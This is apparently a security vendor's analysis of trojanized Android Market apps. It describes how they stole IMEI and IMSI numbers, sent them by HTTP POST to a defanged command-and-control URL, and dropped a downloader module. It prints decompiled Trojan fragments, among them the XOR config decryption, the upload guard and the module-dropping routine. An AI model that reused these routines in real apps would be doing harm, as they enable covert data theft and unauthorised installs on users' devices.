Malware in the Android Market, part 2

Yesterday my colleague Tim Armstrong wrote about the malware outbreak in the Android Market. In short, a number of legal apps were trojanized and uploaded to the Android Market. Let’s take a closer look into one of them.

As it was mentioned earlier, all the malicious apps we’ve seen so far were using the same exploits which are detected by Kaspersky as Exploit.AndroidOS.Lotoor.g and Exploit.AndroidOS.Lotoor.j. Both are well-known and work on all Android OS versions less than 2.3. This means that anyone who uses Gingerbread (Android 2.3) should be protected from these exploits.

So what exactly do these Trojans steal? Apparently, the attacker was keen on obtaining IMSI and IMEI numbers. Besides these, they are also harvesting information about the operating system and device type.

Here’s how the theft happens: inside the code, there is encrypted data block which is exactly 45 bytes in size. This block is encrypted using a simple XOR algorithm with a special key, which is stored in another data block called “KEYVALUE”. If you are curious, here’s how the decryption subroutine looks:

public static void crypt(byte abyte0[ ])
{
int i = 0;
int j = 0;
do
{
int k = abyte0.length;
if(j >= k)
return;
byte byte0 = abyte0[j];
byte byte1 = KEYVALUE[i];
byte byte2 = (byte)(byte0 ^ byte1);
abyte0[j] = byte2;
i++;
int l = keylen;
if(i == l)
i = 0;
j++;
}
while(true);
}

Once decrypted, the first data block points to “hxxp://184.105.245.17:8080/GMServer/GMServlet, which is hosted by an ISP called Hurricane Electric (http://www.he.net/), in Fremont, California. We have already contacted Hurricane Electric about this host and they were prompt to take it down. At the time of writing, the malicious server is no longer accessible.

As we said before, the Trojan seems to have been designed to collect IMEI and IMSI codes, together with specific device information. The stolen data is transferred to the cybercriminals’ server via a POST method through the HTTP protocol. The uploaded blocks are in the XML format and look like this:

General format of the XML template

Data transferred by Backdoor.AndroidOS.Rooter.a

Data transferred by Backdoor.AndroidOS.Rooter.b

POST method used by Backdoor.AndroidOS.Rooter

The command field, which is set to “0” in the block above, signals the upload of the stolen IMEI and IMSI codes, together with device info. You can notice that information in tag differs in two different malicious APK files we have – ProductId has the values 10023 and 10039. Obviously, the attacker wanted to count the success rate of the different Trojans which were seeded in the market. Also, we should note that the data in tag (‘502’) is the same in both samples. This tag actually got us thinking: it is possible that this ‘502’ could be some kind of affiliate or partner ID. If this is true, one can wonder how many affiliates were (or are) out there?

To avoid posting the same data over and over, the Trojan sets a preference parameter ‘pref_config_setting’ to “done” after a successful upload:

public void run()
{
if(Setting.access$1(Setting.this).getSharedPreferences(“pref_config_setting”,0).getInt(“done”,0)== 0)
{
byte abyte0[] = val$c;
String s = new String(abyte0);
Context context = Setting.access$1(Setting.this);
Setting.postUrl(s, context);
}

Besides sending the stolen IMEI and IMSI codes, the Trojan installs another module. It does that by copying an internal resource file called sqlite.db into DownloadProvidersManager.apk:

private void destroy(boolean flag)
{
boolean flag1;
if(flag && !isPackageInstalled(ctx, “com.android.providers.downloadsmanager”))
flag1 = cpFile(ctx, “sqlite.db”, “DownloadProvidersManager.apk”);
stopSelf();
}

So, what is the purpose of this second module? It connects back to the same server where it uploaded the stolen IMEI and IMSI but with a different request block (Command “2”). This time, it reads a response back from the server which seems to include a list of applications to download and install on the already infected device. So in essence, it’s a Trojan downloader module.

The highly modular architecture of the Trojan is interesting and points out of a few important conclusions. First of all, it has been designed to be easy to include in popular applications, to be uploaded on the Market with misleading names. Secondly, it has a classical command-and-control architecture – it sends an initial “I’m here” query with basic info and then deploys a more complex downloader to infect the device further. This is pretty similar to many Windows Trojans. Finally, the ability to install other applications on the devices hints at the way through which the author was planning to monetize the infections – by deploying Adware or Advertising-supported apps on the device.

We will continue to monitor the situation and update with any new developments.

Costin Raiu
Denis Maslennikov